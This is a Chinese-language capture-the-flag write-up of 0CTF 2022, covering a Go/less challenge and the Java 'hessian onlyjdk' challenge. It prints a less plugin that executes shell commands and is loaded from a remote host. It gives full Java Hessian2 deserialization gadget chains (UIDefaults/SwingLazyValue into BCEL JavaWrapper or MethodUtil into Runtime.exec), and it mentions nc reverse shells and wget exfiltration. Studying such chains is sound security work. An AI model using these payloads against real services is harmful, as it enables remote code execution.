0CTF2022复现
嗯,究极挨打,只做了一个被全场秒烂了的go,由于剩下的都是java,然后就摆了。然后看着天哥他们ak 0ctf的web,自闭了捏
ohf
被秒烂的go题,抓包看路由可以看到终端那边给了个go的序列化数据,less路由一开始没看懂,一开始以为是linux那个less读文件的,按了半天没反应,然后隔壁的好哥哥和我说这个是写css的东西,可以把他的格式转换成css。然后可以从p神的文章中获知这个less有一个任意文件读取
从偶遇Flarum开始的RCE之旅
读到源码之后可以看到一个go的反序列化,然后序列化数据的version字段会进一个第三方库的eval,这个库感觉也不是沙箱,就是个直接的eval,但是阉割了模块
traefik/yaegi
小跟一下可以看到给了哪些模块,用来执行命令的os/exec
没了,但是还有os
,本来在想能不能像python一样从哪摸个import之类的语句把os/exec
搞出来,但是无果。对go的认知->0,然后就在想os/exec
是不是对某些底层实现的封装,底层实现会不会不在这个库里面,然后小跟一下就能找到这个os.StartProcess
,但是这个玩意实在是有点坐牢,要手动传入文件给stdin/out,这样子我很难搞回显。
尝试直接open文件然后把文件替换到stdout,然后读文件外带,无果。莫非是进程没有结束fd没关掉,当初应该试试手动flush的。。。。
最后直接stdout写文件然后再重新进行一个请求读出来就行了(less读也行)
期间尝试了pipe进行读写但仍然无果,最后go大师和我说他写了一版pipe行了,就是pipe的stdin作为StartProcess的stdout,然后读stdout获取结果。(和前段时间学习的pipe使用似乎一致)
题目环境估计是alpine,所以没得bash直接弹,但alpine似乎自带busybox,也可以一键nc弹。。。或者sh -c wget外带。。。总之我在这个玩意的回显上浪费了两个多小时
究极非预期
less可以直接执行命令。。。。
这个文章还是21年的,复制粘贴一键打通,怪不得被大家打烂了。。。
registerPlugin({
install: function(less, pluginManager, functions) {
functions.add('cmd', function(val) {
return global.process.mainModule.require('child_process').execSync(val.value).toString();
});
}
})
@plugin "http://xxxx/plugin.js";
body {
color: cmd('whoami');
}
hessian onlyjdk
就给了个hessian,直接readObject,没了,docker给出了jdk是openjdk8u342
然后还启动java agent把com.sun.org.apache.xml.internal.security.utils.JavaUtils
给hook掉了
hint中给出了一个XStream的链和一个Hessain2的expect调用toString的入口
前置知识
进行前置知识的补全
先看参考文章学习
网鼎杯2022 BadBean Hessian2反序列化
Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)
回顾XStream反序列化漏洞
Xstream反序列化漏洞研究笔记
如何高效的挖掘Java反序列化利用链?
Hessain反序列化
入口点是反序列化时对map操作调用的hashCode和equals方法,然后后续又出现了一个恶意序列化流触发expect的toString入口
Hessain2可以对未实现serializable的类实现序列化与反序列化,只需要对其outputStream调用一个output.getSerializerFactory().setAllowNonSerializable(true);
即可。不会受到像fastjson那样无法赋值没有setter的private变量的影响,但无法序列化与反序列化transient对象。
有一个严重的缺点,不能反序列化没有public构造方法的类,类实例的创建是这么写的
try {
map = (Map)this._ctor.newInstance();
} catch (Exception var4) {
throw new IOExceptionWrapper(var4);
}
直接对constructor newInstance,但是没有setAccessable,如果构造函数是private的就会挂掉
这里看一下toString是怎么触发的,触发的点是expect,这个函数的意义就是读序列化流的时候,比如认为接下来的数据是个String,结果读出来了个Object之类的,就会触发然后报错expect String,实际读了个Object,然后把读出来的Object toString输出出来,非常合理。所以要触发expect,就得搓出来有问题的序列化流,不过这并不是很困难。
简单看一下readObject实现和分析文章就能发现,每个值前面会有一个数表示type,对type switch一下进对应处理
可以看到case 67
的时候进readObjectDefinition
进readString
,case从32到127都会进expect,这也是网上搜到的经典操作。
实际上触发点一大堆,比如case 77的时候readtype,进readInt或者readString,也能进expect,case 81,case 79什么的都行,只要你能让readXXX的时候读出来的type和预期的type不一样就进expect,在写入的时候稍微构造一下就可以了
然后在写入方面,这边全都是魔改writeUTF并且用的是Apache dubbo下的Hessain来写一位魔改数据,搞得我一开始都没看懂。。。。反正payload是用baos搓出来的,直接baos写就行了
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
baos.write(79);
output.writeObject(evilClass);
output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
即可触发evilClass的toString方法
XStream反序列化
主要是看hint顺便看了一下,结果看了半天感觉没什么帮助,就当入门了。。。
XStream有一系列的Converter对XML中的不同类型属性进行还原,Converter有一个优先级顺位,跟一下可以在DefaultConverterLookup这里找到所有的Converter列表,被放在一个优先级队列里面,其中SerializableConverter是倒数第二个,ReflectionConverter
是最后一个,优先级最低的两个。似乎需要不满足前面的许多条件才轮得到(但是简单翻了一下感觉一大堆SingleValueConvertWrapper
,也就是稍微复杂一点的类似乎就是走Serialize或者Reflection?搞不懂捏)
XStream反序列化,有两个触发点,一个是TreeMapConverter
调用的compareTo
和MapConvert
调用的hashCode
以及一个SerializableConverter
调用的readObject原生反序列化,实现了Serializable接口的类会被SerializableConverter
调用其readObject进行反序列化,但XStream调用的readObject的反序列化又和真正的原生反序列化有所不同,其实现了一个CustomObjectInputStream
,调用其readObject,但是实际的逻辑仍然回到XStream中处理,输入的类由XStream从xml里面还原。在这种情况下,只需要一个入口点是可序列化的类,就能调用readObject,不可序列化的类走最后的ReflectionConverter
反射赋值
不过试了一下反射赋值的时候transient属性还是被处理了,反序列化的时候被忽略了,但是如果那个类本身实现了Serializable就可能通过SerializableConverter
的readObject恢复出来
Hint的XStream链
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()
这个链是从MultiUIDefaults的toString方法开始,一路调用到SwingLazyValue的createValue,是一个纯jdk利用链(但是这个SwingLazyValue好像在jdk8之后删了)
createValue方法如下
public Object createValue(UIDefaults var1) {
try {
ReflectUtil.checkPackageAccess(this.className);
Class var2 = Class.forName(this.className, true, (ClassLoader)null);
Class[] var3;
if (this.methodName != null) {
var3 = this.getClassArray(this.args);
Method var6 = var2.getMethod(this.methodName, var3);
this.makeAccessible(var6);
return var6.invoke(var2, this.args);
} else {
var3 = this.getClassArray(this.args);
Constructor var4 = var2.getConstructor(var3);
this.makeAccessible(var4);
return var4.newInstance(this.args);
}
} catch (Exception var5) {
return null;
}
}
对着一个class对象invoke,或者对着constructor对象newInstance,由于用的是getMethod/Constructor,只能调用public的方法,又var2是一个Class而不是类实例,只能调用静态方法
所以这里找到的最终sink为javax.naming.InitialContext的doLookup方法,能够实现jndi注入,当然,这个链不能现成使用,有两个地方需要替换
第一个是开头的入口MultiUIDefaults
,这个类没有public的构造方法,Hessain还原不出来
另一个是最后的jndi注入,在纯jdk情况+8u342的超高版本下,jndi注入无法利用,需要把这两个都替换掉才能完成利用
题解
那么,怎么挖jdk的toString到get的触发点呢?tabby当然是我们最好的伙伴,但是,出于未知原因,tabby在我的机器上的运行速度令人担忧,jdk大约有3w个类,而tabby在我的机器上的处理速度大约为一分钟200个类?3w个类跑一天。。。以前不是这样的捏。。。不知道什么情况,所以直接快进到看wp
解1
然后快进到ysomap里面居然有一个现成的链LazyValueForHessian
,这里的原始调用链如下
javax.naming.ldap.Rdn$RdnEntry.compareTo
com.sun.org.apache.xpath.internal.objects.XStringForFSB.equals
javax.activation.MimeTypeParameterList.toString
UIDefaults.get
......
这个还是toString没出的时候提出的从compareTo触发的链,现在直接从toString处上也可以
MimeTypeParameterList对自己的parameters调用了一个get,parameters是一个hashtable,而UIDefault刚好是extend了hashtable的,这样子就把前面半截续上来了
还看到一个师傅使用的是sun.security.pkcs.PKCS9Attributes
这个类,这个类的toString调用getAttribute,里面对自己的attribute属性,也是个hashtable,调用了get
现在,就只剩一个静态执行方法执行命令的类了,这里有师傅找到了一个bcel的classloader com.sun.org.apache.bcel.internal.util.JavaWrapper
,存在一个static方法_main
,进runMain使用自身的loader进行了loadClass,看到这个类名就知道这个loader应该是一个bcel classloader,可以直接从ClassName里面还原出类为所欲为,并且这个loader是调用构造函数赋值的,也无需担忧手动赋值。这样子就可以手搓出payload了。因为以前用的都是ysoserial,ysomap没怎么用过,所以不太看得懂。。。还是从头手搓8
搓出来如下payload
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
baos.write(67);
JavaClass evil = Repository.lookupClass(com.z33.test.EvilClass.class);
String payload = "$$BCEL$$"+Utility.encode(evil.getBytes(), true);
UIDefaults uiDefaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new String[][]{new String[]{payload}});
uiDefaults.put("key", swingLazyValue);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
Field parameters = MimeTypeParameterList.class.getDeclaredField("parameters");
parameters.setAccessible(true);
parameters.set(mimeTypeParameterList, uiDefaults);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(mimeTypeParameterList);
output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
那句output.flushBuffer();
似乎不能丢,不然可能写不进去?然后还有一个很大的坑点,就是IDEA调试的时候会在控制台打印变量,会自动toString显示的好看一点,而这里的链就是toString触发,似乎触发之后会直接把outputStream都给打乱,导致整个流乱七八糟的没法调试,关掉这个功能即可调试
但是仔细跟一下可以看到bcel classloader使用的是loadClass,而不是forName去加载类,这样子就没法触发static段了,但是在类被加载之后又使用反射调用了类的_main
方法,只需要给类里面加一个_main
方法即可实现命令执行
这里使用openjdk大概就是想利用这个bcel classloader,因为Oracle jdk高版本里面是没有这个类的
解2
然后看到了0ops的师傅的另一个解法,这个是直接走的之前的equals这个入口
https://github.com/ceclin/0ctf-2022-soln-hessian-onlyjdk/blob/main/soln/src/main/kotlin/soln/App.kt
但是我不太看得懂kotlin,只能手动转java了
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
String cmd = "calc";
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Runtime.class.getMethod("exec", String.class);
SwingLazyValue swingLazyValue = new SwingLazyValue(
"sun.reflect.misc.MethodUtil",
"invoke",
new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{cmd}}});
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("key", swingLazyValue);
u2.put("key", swingLazyValue);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, u1, null, null);
Object node2 = constructor.newInstance(0, u2, null, null);
Field key = node.getDeclaredField("key");
key.setAccessible(true);
key.set(node1, u1);
key.set(node2, u2);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
table.set(hashMap, arr);
output.writeObject(hashMap);
output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
想了半天怎么创建一个Node类的数组。。。然后最后去ysomap里面找了个例子缝了进来。。。。然后有一个师傅和我说他还是抄的我的,然后我那个时候是缝的marshal。。。我都忘了。。。因为我的智力条件你也知道.jpg
然后看一下调用链
HashMap.equals
UIDefault.get
......
SwingLazyValue.createValue
MethodUtil.invoke
MethodUtil.invoke
Runtime.getRuntime.exec
这里中间部分还是UIDefault到SwingLazyValue,然后执行命令的部分换成了sun.reflect.misc.MethodUtil
,触发的入口是HashMap的equals。。。感觉这个equals入口好像是很显而易见的东西。。。比较HashMap里面对k/v调用get应该非常的普遍,还是基础差了
这里比较有意思的是MethodUtil这里命令执行的构造,实际上是对MethodUtil.invoke进行了两次调用的,道理也很简单,因为SwingLazyValue.createValue
方法中是通过传入参数的类型去获取方法的,如果传入的参数不是Method.class, Object.class, Object[].class
就没法找到invoke方法,就无法实现调用了,所以先传入了invoke, new Object(), new Object[]{}
,再在后续的object[]中传入Runtime执行命令。
这里有一个需要注意的点,反射调用中,这里的第二个参数应该是方法对应的类实例,第一次应该也是传入MethodUtil
,但由于这里调用的是类的静态方法,所以可以传任意的对象进去,这里就是传了一个object
这里还有另一个点,就是exec获取的方法参数签名为String.class,但我们传入的时候应该是一个Object[]{cmd},因为invoke要求输入参数是一个Object数组,如果想调用参数为String[].class的exec,就得传入Object[]{String[]{cmd}}
为什么不直接调用exec?因为exec不是静态方法
然后这边还有一个坑,我一直以为Hessain应该没啥区别,所以没有用题目的jar包,直接pom里面引入Hessain本地调的,然后把payload搓出来之后打半天没反应。。。最后调了半天,走到第二次调用MethodUtil
时,第二个参数本应该是Runtime类实例,结果给了我个HashMap????最后和朋友调了半天发现我们俩payload完全一样,最后确认真的是Hessain的问题。。。在题目给的Hessain下可以正常反序列化出Runtime类,而本地的Hessain就不行。。。
Hessain在SerializerFactory的getDeserializer中对类的Deserializer进行了判断,在我本地的Hessain4.0.65下,是一个
Class cl = this.loadSerializedClass(type);
deserializer = this.getDeserializer(cl);
而这个方法最后会进ClassFactory的isAllow方法,里面写了个黑名单,一共四个值,首当其冲的就是java.lang.Runtime
,类在黑名单里面就会返回一个HashMap对象。。。再对HashMap获取getDeserializer就会得到MapDeserializer,黑名单里面剩下三个是java.lang.Process/System/Thread
而对于题目中的Hessain这里就是
Class cl = Class.forName(type, false, this.getClassLoader());
deserializer = this.getDeserializer(cl);
可以直接获取到Runtime类然后使用UnsafeDeserializer反序列化。。。无语辣
解3
好哥哥发来的最新方法,jndi中由于高版本关了远程codebase的信任,从而无法实现jndi注入,但是修改这个属性的System.setProperty却是一个静态方法,可以在这里被createValue调用,直接一键打通,然后再用开头给的XStream的javax.naming.InitialContext.doLookup
即可
坑
剩下的题估计是超越认知范围辣,不知道还会不会复现,我是Java垃圾呜呜